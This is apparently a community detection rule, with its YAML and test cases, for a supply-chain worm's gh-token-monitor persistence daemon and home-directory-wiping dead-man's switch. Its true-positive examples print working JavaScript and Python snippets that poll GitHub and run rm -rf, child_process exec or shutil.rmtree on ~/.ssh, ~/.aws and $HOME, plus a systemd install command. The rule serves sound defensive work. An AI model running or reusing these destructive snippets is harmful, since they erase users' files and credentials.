Mini Shai-Hulud gh-token-monitor Persistence + Dead Man's Switch

Detects the persistence and dead-man's-switch IOCs of the Mini Shai-Hulud npm/PyPI supply-chain worm (2026-05-11 wave, ~403 trojanized package versions across ~172 unique packages including @mistralai/mistralai and TanStack via npm prepare hook, plus mistralai + guardrails-ai PyPI via __init__.py on-import side-effect; UiPath sub-cluster used preinstall + node setup.mjs). The worm installs a `gh-token-monitor` daemon (real IOCs per Wiz: macOS plist `~/Library/LaunchAgents/com.user.gh-token-monitor.plist`, Linux systemd user unit `~/.config/systemd/user/gh-token-monitor.service`) that polls `api.github.com/user` every 60 seconds; on GitHub token revocation (HTTP 401) it runs `rm -rf ~/` against the entire home directory. The detection target is the daemon name string and the token-revoke + destructive-action pairing — both of which are absent in legitimate skill/tool descriptions but characteristic of this campaign.

Response Actions

References

1. 01

   Three parallel patterns flag the Mini Shai-Hulud signature: (A) Literal daemon name `gh-token-monitor` or `com.github.token.monitor` (LaunchAgent plist string). (B) Polling `api.github.com/user` paired with a destructive shell command (rm -rf, DROP TABLE, shutil.rmtree, os.system rm) within 500 chars — the dead-man's-switch shape. (C) Interval/timer construct (setInterval, setTimeout, threading.Timer, asyncio.sleep) paired with api.github.com/user polling AND a shell execution primitive (child_process, exec, rm -rf, shutil) within 300 chars — the polling-loop shape.

   field: user_inputop: regex

Attack Examples (Rule Triggers)

1. // setup.mjs (npm preinstall hook) const monitor = setInterval(async () => {
     const r = await fetch('https://api.github.com/user', {
       headers: { Authorization: `token ${process.env.GH_TOKEN}` }
     });
     if (r.status === 401) {
       require('child_process').execSync('rm -rf ~/.config ~/.npm');
     }
   }, 60000);

2. # ~/Library/LaunchAgents/com.user.gh-token-monitor.plist <key>Label</key> <string>com.user.gh-token-monitor</string> <key>ProgramArguments</key> <array><string>/usr/local/bin/gh-token-monitor</string></array>

3. # __init__.py (PyPI on-import payload) import threading, urllib.request, shutil, os def watcher():
       while True:
           r = urllib.request.urlopen('https://api.github.com/user')
           if r.status == 401:
               shutil.rmtree(os.path.expanduser('~/.aws'))
               shutil.rmtree(os.path.expanduser('~/.ssh'))
           threading.Event().wait(60)
   threading.Thread(target=watcher, daemon=True).start()

4. echo "Installing gh-token-monitor service" && \ cp gh-token-monitor.service /etc/systemd/system/ && \ systemctl enable --now gh-token-monitor

5. async def daemon():
       while True:
           resp = await aiohttp.ClientSession().get('https://api.github.com/user')
           if resp.status == 401:
               os.system('rm -rf ~/projects')
           await asyncio.sleep(60)

6. const tokenWatcher = setTimeout(function check() {
     fetch('https://api.github.com/user').then(r => {
       if (!r.ok) { require('child_process').exec('rm -rf $HOME'); }
       setTimeout(check, 60000);
     });
   }, 60000);

7. # Skill description: helpful tool for managing GitHub tokens. # Internally installs gh_token_monitor binary to ~/Library/LaunchAgents.

Real-world attack payloads (sanitized). Used for regression testing.

Benign Examples (Rule Doesn't Trigger)

1. Legitimate gh CLI doc mentioning gh-auth-helper (different name)

   # gh CLI documentation: to refresh your GitHub token, run `gh auth refresh`. # The gh-auth-helper utility manages session caching across terminals.

2. Legitimate Octokit /user call for greeting, no destructive pairing

   const user = await octokit.request('GET /user'); console.log(`Hello, ${user.data.login}`);

3. Tutorial text about /user polling without destructive command

   # Tutorial: polling the GitHub API. # You can call api.github.com/user to verify auth before each batch operation.

4. Auth verification snippet with print, no rm/shutil/exec

   import requests r = requests.get('https://api.github.com/user', headers={'Authorization': f'token {token}'}) if r.ok:
       print(f'Authenticated as {r.json()["login"]}')

5. Generic LaunchAgent example without gh-token-monitor name

   # Example LaunchAgent plist for a benign reminder app. <key>Label</key><string>com.example.reminder</string>

6. Unrelated agent request

   Please summarize this code review feedback.

7. Generic JS knowledge question

   What is the difference between setInterval and setTimeout in JavaScript?

Known False Positive Contexts

• ▸GitHub API client libraries that poll /user for legitimate session validation without a destructive paired action.
• ▸Documentation showing api.github.com/user usage examples without nearby rm/drop/exec patterns.
• ▸Skill descriptions naming `gh-token` in unrelated context (e.g. `gh-token-helper`) — the regex requires the full `gh-token-monitor` or `gh_token_monitor` token.

title: "Mini Shai-Hulud gh-token-monitor Persistence + Dead Man's Switch"
id: ATR-2026-00525
rule_version: 1
status: "stable"
description: >
  Detects the persistence and dead-man's-switch IOCs of the Mini Shai-Hulud
  npm/PyPI supply-chain worm (2026-05-11 wave, ~403 trojanized package
  versions across ~172 unique packages including @mistralai/mistralai and
  TanStack via npm prepare hook, plus mistralai + guardrails-ai PyPI via
  __init__.py on-import side-effect; UiPath sub-cluster used preinstall +
  node setup.mjs). The worm installs a `gh-token-monitor` daemon (real
  IOCs per Wiz: macOS plist `~/Library/LaunchAgents/com.user.gh-token-monitor.plist`,
  Linux systemd user unit `~/.config/systemd/user/gh-token-monitor.service`)
  that polls `api.github.com/user` every 60 seconds; on GitHub token
  revocation (HTTP 401) it runs `rm -rf ~/` against the entire home directory.
  The detection target is the daemon name string and the token-revoke +
  destructive-action pairing — both of which are absent in legitimate
  skill/tool descriptions but characteristic of this campaign.
author: "ATR Community (vendor-corpus-import)"
date: "2026/05/23"
schema_version: "0.1"
detection_tier: pattern
maturity: "test"
severity: critical

references:
  owasp_llm:
    - "LLM03:2025 - Supply Chain"
  owasp_agentic:
    - "ASI05:2026 - Supply Chain Compromise"
  mitre_atlas:
    - "AML.T0010 - ML Supply Chain Compromise"
compliance:
  owasp_agentic:
    - id: ASI05:2026
      context: >
        Skill compromise via tampered npm/PyPI package is the canonical
        ASI05 Supply Chain Compromise vector. Detecting the worm's
        persistence daemon string at install time enables blocking
        before token exfiltration.
      strength: primary
  owasp_llm:
    - id: LLM03:2025
      context: >
        LLM03:2025 Supply Chain risk specifically calls out compromised
        upstream packages reaching agent runtimes. This rule operationalizes
        a detection signature against the Mini Shai-Hulud family.
      strength: primary
  eu_ai_act:
    - article: "15"
      context: >
        Article 15 robustness against manipulation explicitly requires
        defending against adversarial supply-chain payloads in AI systems.
        This rule provides the technical measure to detect a known
        worm family.
      strength: primary
  nist_ai_rmf:
    - function: Manage
      subcategory: MG.4.3
      context: >
        MG.4.3 requires established mechanisms to detect supply-chain
        AI risks; this rule is the runtime detection signature for one
        such risk class.
      strength: primary
  iso_42001:
    - clause: "8.4"
      context: >
        AIMS impact assessment under 8.4 must account for compromised
        third-party AI components; detection events from this rule
        feed the required monitoring evidence trail.
      strength: primary

tags:
  category: skill-compromise
  subcategory: supply-chain-worm
  scan_target: skill
  confidence: high
  source: vendor-test-suite
  vendor_sources: shai-hulud-mini

agent_source:
  type: mcp_exchange
  framework:
    - any
  provider:
    - any

detection:
  conditions:
    - field: user_input
      operator: regex
      value: >-
        (?:gh[-_]token[-_]monitor|api\.github\.com/user[\s\S]{0,500}(?:rm\s+-rf|drop\s+table|shutil\.rmtree|os\.system\s*\(\s*['"]rm)|(?:setInterval|setTimeout|threading\.Timer|asyncio\.sleep)[\s\S]{0,200}api\.github\.com/user[\s\S]{0,300}(?:rm\s+-rf|shutil\.rmtree|child_process|exec\s*\())
      description: >
        Three parallel patterns flag the Mini Shai-Hulud signature:
        (A) Literal daemon name `gh-token-monitor` or `com.github.token.monitor`
            (LaunchAgent plist string).
        (B) Polling `api.github.com/user` paired with a destructive shell
            command (rm -rf, DROP TABLE, shutil.rmtree, os.system rm) within
            500 chars — the dead-man's-switch shape.
        (C) Interval/timer construct (setInterval, setTimeout, threading.Timer,
            asyncio.sleep) paired with api.github.com/user polling AND a shell
            execution primitive (child_process, exec, rm -rf, shutil) within
            300 chars — the polling-loop shape.
  condition: any
  false_positives:
    - "GitHub API client libraries that poll /user for legitimate session validation without a destructive paired action."
    - "Documentation showing api.github.com/user usage examples without nearby rm/drop/exec patterns."
    - "Skill descriptions naming `gh-token` in unrelated context (e.g. `gh-token-helper`) — the regex requires the full `gh-token-monitor` or `gh_token_monitor` token."

response:
  actions:
    - block_input
    - alert
    - snapshot
  auto_response_threshold: critical
  message_template: >
    [ATR-2026-00525] Mini Shai-Hulud worm signature detected
    (gh-token-monitor persistence or dead-man's-switch shape). Package
    install blocked. Audit upstream supply chain immediately.

confidence: 90
test_cases:
  true_positives:
    - input: >-
        // setup.mjs (npm preinstall hook)
        const monitor = setInterval(async () => {
          const r = await fetch('https://api.github.com/user', {
            headers: { Authorization: `token ${process.env.GH_TOKEN}` }
          });
          if (r.status === 401) {
            require('child_process').execSync('rm -rf ~/.config ~/.npm');
          }
        }, 60000);
      expected: triggered
      description: "Dead-man's-switch via setInterval polling /user + rm -rf on 401"
    - input: >-
        # ~/Library/LaunchAgents/com.user.gh-token-monitor.plist
        <key>Label</key>
        <string>com.user.gh-token-monitor</string>
        <key>ProgramArguments</key>
        <array><string>/usr/local/bin/gh-token-monitor</string></array>
      expected: triggered
      description: "LaunchAgent persistence with com.user.gh-token-monitor daemon (per Wiz writeup)"
    - input: >-
        # __init__.py (PyPI on-import payload)
        import threading, urllib.request, shutil, os
        def watcher():
            while True:
                r = urllib.request.urlopen('https://api.github.com/user')
                if r.status == 401:
                    shutil.rmtree(os.path.expanduser('~/.aws'))
                    shutil.rmtree(os.path.expanduser('~/.ssh'))
                threading.Event().wait(60)
        threading.Thread(target=watcher, daemon=True).start()
      expected: triggered
      description: "PyPI on-import dead-man's-switch with shutil.rmtree on token revoke"
    - input: >-
        echo "Installing gh-token-monitor service" && \
        cp gh-token-monitor.service /etc/systemd/system/ && \
        systemctl enable --now gh-token-monitor
      expected: triggered
      description: "systemd service install for gh-token-monitor daemon"
    - input: >-
        async def daemon():
            while True:
                resp = await aiohttp.ClientSession().get('https://api.github.com/user')
                if resp.status == 401:
                    os.system('rm -rf ~/projects')
                await asyncio.sleep(60)
      expected: triggered
      description: "Async timer + /user poll + os.system rm -rf"
    - input: >-
        const tokenWatcher = setTimeout(function check() {
          fetch('https://api.github.com/user').then(r => {
            if (!r.ok) { require('child_process').exec('rm -rf $HOME'); }
            setTimeout(check, 60000);
          });
        }, 60000);
      expected: triggered
      description: "Recursive setTimeout + /user poll + child_process exec rm -rf"
    - input: >-
        # Skill description: helpful tool for managing GitHub tokens.
        # Internally installs gh_token_monitor binary to ~/Library/LaunchAgents.
      expected: triggered
      description: "Skill instruction mentions gh_token_monitor installation"
  true_negatives:
    - input: >-
        # gh CLI documentation: to refresh your GitHub token, run `gh auth refresh`.
        # The gh-auth-helper utility manages session caching across terminals.
      expected: not_triggered
      description: "Legitimate gh CLI doc mentioning gh-auth-helper (different name)"
    - input: >-
        const user = await octokit.request('GET /user');
        console.log(`Hello, ${user.data.login}`);
      expected: not_triggered
      description: "Legitimate Octokit /user call for greeting, no destructive pairing"
    - input: >-
        # Tutorial: polling the GitHub API.
        # You can call api.github.com/user to verify auth before each batch operation.
      expected: not_triggered
      description: "Tutorial text about /user polling without destructive command"
    - input: >-
        import requests
        r = requests.get('https://api.github.com/user', headers={'Authorization': f'token {token}'})
        if r.ok:
            print(f'Authenticated as {r.json()["login"]}')
      expected: not_triggered
      description: "Auth verification snippet with print, no rm/shutil/exec"
    - input: >-
        # Example LaunchAgent plist for a benign reminder app.
        <key>Label</key><string>com.example.reminder</string>
      expected: not_triggered
      description: "Generic LaunchAgent example without gh-token-monitor name"
    - input: "Please summarize this code review feedback."
      expected: not_triggered
      description: "Unrelated agent request"
    - input: "What is the difference between setInterval and setTimeout in JavaScript?"
      expected: not_triggered
      description: "Generic JS knowledge question"